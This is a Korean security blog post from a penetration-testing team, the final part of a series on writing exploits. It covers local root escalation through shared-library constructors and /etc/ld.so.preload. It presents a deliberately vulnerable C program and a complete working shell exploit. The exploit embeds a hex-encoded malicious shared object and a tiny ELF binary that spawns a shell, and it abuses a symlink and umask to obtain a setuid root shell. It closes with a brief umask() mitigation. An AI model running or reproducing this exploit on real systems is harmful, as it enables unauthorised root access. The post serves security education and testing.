정대근 보안기술팀장 (A.K.A 1ndr4)

indra@a3security.com


우리는 지금까지 중요한 포인트 2개를 살펴보았습니다.


● GCC syntax를 사용한 Constructor의 구현

● 선적재 라이브러리


위 과정에서 공유라이브러리의 Constructor의 구현 역시 가능하다는 것을 알 수 있었습니다. 지금까지 알아본 내용을 토대로 실제 exploit이 어떻게 구현이 가능한지 실 예를 통해 말씀 드려볼까 합니다.


(1) N.Korea RedStar 2.0 Incorrect permission local root exploit


지난 2012년 저희 TeamCR@K이 블로그에 포스팅 했던 글 중 북한 리눅스 '붉은별' 권한 상승 취약점을 살펴보고자 합니다. 글을 포스팅 했던 당시 내부 지침에 의해 exploit의 전체 내용을 공유드리지는 못했지만, 시일이 많이 흐른 관계로 해당 내용을 조금 더 자세하게 공유하도록 하겠습니다.



exploit은 C 버전과 Perl 버전이 존재하며, exploit 환경은 Comment 영역에 기록해 두었습니다.


붉은별 리눅스는 배포과정에서 공유라이브러리의 파일 퍼미션이 777(-rwxrwxrwx) 형태로 존재하여 기타 사용자가 해당 공유 라이브러리의 내용을 Overwrite 할 수 있는 환경이었습니다. 따라서 root 권한의 setuid bit가 설정되어 있는 대표적인 유틸리티 중 하나인 /bin/ping을 대상으로 참조되는 라이브러리를 파악했고, 네트워크 관련 라이브러리인 libresolv.so의 내용을 Overwrite하는 것으로 설정하였습니다.


exploit의 Perl 버전은 미리 컴파일 된 공유라이브러리와 쉘을 실행시키는 코드를 bzip2 압축형태로 사용했고, C 버전은 근본이 되는 C코드를 넣어 직접 컴파일 하도록 구현했었습니다. 이 때 공격에 사용될 라이브러리로 만든 코드에 Constructor 속성을 가지도록 하여 root 권한의 setuid bit가 설정된 프로그램 실행 시, root 권한의 쉘을 먼저 실행하도록 구성했습니다. 


[그림 1] C버전 exploit 중 Constructor 속성을 가진 라이브러리 함수 사용 루틴


exploit을 통해 조작된 libresolv.so 라이브러리가 로드 될 때, Constructor 속성을 가진 init() 함수가 먼저 실행되므로 init() 함수 안에서 system() 함수를 통해 사용된 /bin/bash 실행이 끝난 이 후 /bin/ping의 프로그램이 정상적으로 실행되는 것을 알 수 있습니다.   


[그림 2] 라이브러리의 Constructor 속성을 이용한 exploit


(2) Insecure file creation vulnerability


root 권한으로 파일을 생성할 때, 생성되는 파일의 소유 권한을 고려하지 않고 코드를 작성하는 경우 보안 취약점이 발생할 수 있습니다. 아래의 코드는 실제 저희 TeamCR@K이 모의해킹 도중 권한 상승 취약점을 이용했던 케이스로 취약점 발생 포인트만 재 구현해서 설명 드리고자 합니다.


/*

* vuln.c

*

* Coded by TeamCR@K

*

* http://teamcrak.tistory.com

*

* - A example code for insecure file creation vulnerability

*/

#include <stdio.h>

#include <dirent.h>


int main(int argc, char **argv)

{

        FILE *fp = NULL;

        char logfile[1024];


        snprintf(logfile, sizeof(logfile), "logs/%s.log", argv[0]);


        if((fp = fopen(logfile, "a+")) != NULL) {

                fputs("Write log contents!\n", fp);

                fclose(fp);

        }

        return 0;

}


위 코드는 다수개의 보안 취약점을 내포하고 있지만, 제일 큰 문제가 되는 것은 생성되는 파일의 기본 소유권한에 대해 검증하지 않는 코드라는 것입니다. 파일을 실행하면, logs 디렉터리에 프로그램 이름의 문자열을 따서 로그파일을 생성합니다. 그러나 파일 생성 시 파일 소유 권한을 지정할 수 없는 fopen() 함수를 이용하여 보안 취약점에 노출 될 수 있습니다.

다음 화면은 위 보안 취약점이 내포된 프로그램을 어떤 형태로 조작이 가능한지 테스트 해 본 화면입니다.


[그림 3] umask 를 이용해 파일 생성 시 소유 권한 조작


위 프로그램은 생성되는 파일에 대한 적절한 검증 절차가 존재하지 않아 umask를 이용해 생성되는 파일의 기본 소유 권한을 변경할 수 있고, 또한 로그파일 이름 자체가 프로그램명(Argument Value)과 연계되므로 원본 파일에 새로운 이름으로 symbolic link를 생성하여 symbolic link의 이름으로 실행한다면 로그파일 이름도 조작이 가능합니다. 

기본적으로 우리가 이제까지 공부한 Constructor 개념과 /etc/ld.so.preload의 선적재 라이브러리의 특성을 이용하면 위 보안 취약점을 이용한 권한 상승 exploit의 작성이 가능할 듯 합니다.


공격을 위한 기본 시나리오는 아래와 같습니다.


1. 쉘 실행 바이너리 생성 (/tmp/.teamcrak-root)

2. /tmp/.teamcrak-root 파일을 root 권한으로 변경하고 setuid 퍼미션을 세팅할 악의적인 공유라이브러리를 Constructor 속성을 가지도록 생성 (/tmp/evil.so)

3. 로그파일을 /etc/ld.so.preload 파일로 symbolic link 생성

4. vuln 실행

5. /etc/ld.so.preload 파일 생성 확인

6. /etc/ld.so.preload 파일에 /tmp/evil.so 문자열 Overwrite

7. root 권한의 setuid 파일 실행

8. /tmp/.teamcrak-root 파일에 root 권한의 setuid bit 설정 유무 확인

9. /tmp/.teamcrak-root 파일 실행 (root 권한 획득)


다음은 위 시나리오를 기반으로 쉘 스크립트 형태로 작성한 exploit 입니다.


#!/bin/sh

TARGET="/etc/ld.so.preload"

EVIL_BIN="/tmp/evil.so"

ROOTSHELL="/tmp/.teamcrak-root"

WORKDIR="/home/indra/Project/ld.so.preload/stage3"

VICTIM="vuln"

LOGFILE="${WORKDIR}/logs/TeamCRAK.log"


echo "###########################################################################"

echo "#####          Local root exploit for vulnerability example           #####"

echo "#####                                      - Insecure file creation - #####"

echo "#####                                                                 #####"

echo "#####                                                     2018.02.03  #####"

echo "#####                            Exploited by TeamCR@K in A3Security  #####"

echo "#####                                                                 #####"

echo "###########################################################################"


rm -rf ${EVIL_BIN}*

# ##################### 32BIT shared object binary

# #define ROOT "teamcrak-root\

# const char *rs = "/tmp/." ROOT;

# void __attribute__((constructor)) init(void) {

# setgid(0); setuid(0); chown(rs, 0, 0); chmod(rs, 06777); }

echo -ne "\x42\x5A\x68\x39\x31\x41\x59\x26\x53\x59\x96\xAD\xA2\x87\x00\x01\

\x67\x7F\xEF\xFF\xFF\xFE\x96\xC2\x6B\xE4\x08\x57\x44\x48\x48\xBF\

\xEF\xFE\x64\xC0\xA2\x14\x00\x41\x68\x0C\x62\x72\x68\x28\x4C\x23\

\x01\xB0\x01\x95\x81\x68\x34\x41\x53\x6C\xA8\xD0\x07\xA8\x00\x7A\

\x8D\x0F\x50\x7A\x9A\x00\xD0\x00\x06\x8D\x1E\xA0\x34\x07\xA4\xF4\

\x98\x9E\xA3\xD4\x22\x98\x99\x27\xA9\x3D\x34\x9B\x46\x80\x23\x4C\

\x4C\x8C\x09\xE8\x11\x80\x8C\x01\xA8\xD3\x26\x99\x0D\x0C\x9A\x0D\

\x31\x02\x44\xA2\x99\x94\x68\x1A\x26\x68\x00\x13\x13\x4C\x09\x93\

\x4C\x01\x0C\x4F\x51\x88\x62\x64\xC2\x69\xA6\x4D\x32\x60\xA6\x55\

\x04\x4A\x06\x10\xD2\x11\x05\x70\x50\x51\x8F\x20\xC5\x7E\x98\x51\

\x6A\x51\x73\x8C\xD1\x79\x8A\x8B\x75\x8E\x80\x30\xC8\x14\x5E\x19\

\x16\x30\x00\xD0\xB4\xA2\x14\x52\x81\x8B\x51\x07\xA6\x5F\x9E\x03\

\xF4\xF2\xB0\x5C\x7C\xEE\x5C\x40\x9C\xEB\x71\x56\xAC\x90\xFB\xCE\

\x64\x31\xD4\xE5\xB6\xD4\xA9\x89\x69\x7F\x52\xE6\x85\xED\x74\xE4\

\x4F\x34\x96\xB4\x85\x4E\xBE\x02\x18\x91\x3B\x06\xD2\x6D\x26\xD2\

\x4D\xA6\xD2\x6C\x26\x82\x0A\x11\x03\x60\xDD\x63\x64\x46\xDC\x91\

\x23\x21\xB7\x0D\x37\x62\xC5\x41\xA1\x0F\x22\x00\x2E\x98\x05\xFB\

\x3D\x6C\x57\x0D\x0A\xD1\x85\x1D\x58\x58\xF5\x76\xFD\xFB\x15\x77\

\x68\x80\x6D\x4C\x79\x56\xCA\x24\x5B\xA6\x6B\x60\x2B\x69\x0D\x16\

\x8A\x2C\xFB\x9A\x3A\xA3\x26\x86\x60\x4A\x38\x9B\x5E\x8E\xD3\x0B\

\xE6\x4E\xD0\xAB\x1D\xC3\x41\x5E\xCA\x89\xA1\x7A\x5A\x03\x29\xAB\

\x1C\x88\xF0\xE3\x80\xC4\x4E\x9D\x36\x99\x84\xA4\x95\x85\x27\x42\

\x7E\xFA\x72\x8A\xC1\xA3\xE8\xCD\xE6\x1F\x57\xA5\x2F\xC2\x4A\xDE\

\x0A\xE9\x0A\xB5\x7D\x92\x52\x76\x51\x09\x98\xF0\xE9\xA2\x92\x1C\

\x86\xC3\x85\x9B\x49\xEB\x32\x9F\x9A\x34\x05\x21\x02\x67\xC1\xA2\

\xC8\x74\xC7\x36\xCB\x1A\x90\x1A\x26\x59\x9A\x3D\xD4\xD0\x42\x39\

\x59\x70\x01\xF2\x8D\x03\x8C\x08\x98\xC3\xC0\xEF\xDA\x24\xB9\x13\

\xFA\x45\x80\x6B\x91\x25\x0A\x76\x64\x30\x53\x6C\xD9\x61\x1F\xC5\

\x56\x6C\x36\xB6\xF4\xE7\x5B\x28\x36\xF1\x17\xC0\x53\x79\x85\x10\

\x06\x22\xFA\x8E\xB0\x50\xE7\x32\x11\x58\x75\x24\x5E\x95\xC5\x6D\

\x2A\x95\x24\xCE\x70\xA3\x8F\x0A\xAC\x75\x56\x17\xA8\x81\xEA\x91\

\x25\x7B\x16\x9F\x9D\x16\xA4\x3F\x68\x89\x0F\x58\x4A\x72\xCB\xFE\

\x2E\xE4\x8A\x70\xA1\x21\x2D\x5B\x45\x0E" > ${EVIL_BIN}.bz2

bzip2 -d ${EVIL_BIN}.bz2


echo -ne "\x7F\x45\x4C\x46\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\

\x02\x00\x03\x00\x01\x00\x00\x00\x54\x80\x04\x08\x34\x00\x00\x00\

\x94\x00\x00\x00\x00\x00\x00\x00\x34\x00\x20\x00\x01\x00\x28\x00\

\x03\x00\x02\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\

\x00\x80\x04\x08\x81\x00\x00\x00\x81\x00\x00\x00\x05\x00\x00\x00\

\x00\x10\x00\x00\x31\xDB\x89\xD8\xB0\x2E\xCD\x80\x31\xDB\x89\xD8\

\xB0\x17\xCD\x80\xEB\x0D\x5B\x31\xD2\x89\xD0\x52\x53\x89\xE1\xB0\

\x0B\xCD\x80\xE8\xEE\xFF\xFF\xFF\x2F\x62\x69\x6E\x2F\x73\x68" > ${ROOTSHELL}


if [ -f ${ROOTSHELL} ]; then

        if [ -f ${EVIL_BIN} ]; then

                echo "[*] Preparing environment: OK!"

        else

                echo "[!] No such ${EVIL_BIN}"

                break;

        fi

else

        echo "[!] No such ${ROOTSHELL}"

        break;

fi


# Creation a symbolic link

rm -rf ${LOGFILE}; ln -sf ${TARGET} ${LOGFILE}

rm -rf TeamCRAK; ln -sf ${WORKDIR}/${VICTIM} TeamCRAK


# setup umask

umask 0000


./TeamCRAK 2>/dev/null &


if [ -f ${TARGET} ]; then

        echo "${EVIL_BIN}" > ${TARGET} 2>/dev/null

        break;

fi

ping 2>/dev/null 1>/dev/null


if [ -u "${ROOTSHELL}" ]; then

        echo "[*] Exploit Successfully!~"

        echo "[*] Voila~ r00t sh3LL!"

        echo "" > ${TARGET}

        ${ROOTSHELL}

else

        echo "[*] Exploit failed."

fi


다음은 위 exploit을 통해 실제로 root 권한의 쉘을 획득하는 화면입니다.


[그림 4] 안전하지 않은 파일 생성 취약점을 통한 로컬 권한 상승


위 exploit 구현 중 쉘을 실행하는 ELF 바이너리와 공유 라이브러리는 파일 사이즈를 극도로 최소화 하는 과정을 거쳤는데, 해당 내용은 저희 TeamCR@K에서 예전에 포스팅 했던 다음 페이지에서 살펴보실 수 있습니다.



보신바와 같이 프로그램에서 생성되는 파일의 소유 권한이 악용되는 경우 이를 어떻게 통제할 수 있을까요?

fopen() 과 같이 생성되는 파일의 소유 권한을 정의할 수 없는 경우라면, umask() 함수를 이용해 생성되는 파일의 소유 권한을 초기화 하고 사용 할 수 있을 것 입니다.

다음 화면은 fopen() 함수 사용 이전, umask() 를 사용해 파일 소유 권한을 초기화 한 후 생성된 파일을 확인하는 화면입니다.


[그림 5] umask() 함수 사용을 통한 파일 생성 시 소유 권한 초기화 결과


setuid bit가 걸린 프로그램은 프로세스 실행 도중 권한이 변경되어 작용하므로 생성되는 파일 관리에도 각별한 주의를 필요로 합니다.

자! 지금까지 저희 TeamCR@K이 준비한 "Exploit Writing Technique"이 마무리가 되었습니다.
재미있게 보셨는지 모르겠습니다. :)
저희 팀은 올해 더 다양한 분야에 대한 연구나 기반기술에 대한 연구를 진행할 예정입니다.
비록 업무가 바빠 블로그에 많은 신경을 쓰지는 못했지만 올해에는 조금 더 다양한 자료로 자주 찾아뵐 것을 약속드리며, 
의문사항이나 지적사항은 댓글이나 a3_crak@a3security.com 으로 메일 보내드시면 감사하겠습니다! ;-)

읽어주셔서 감사합니다!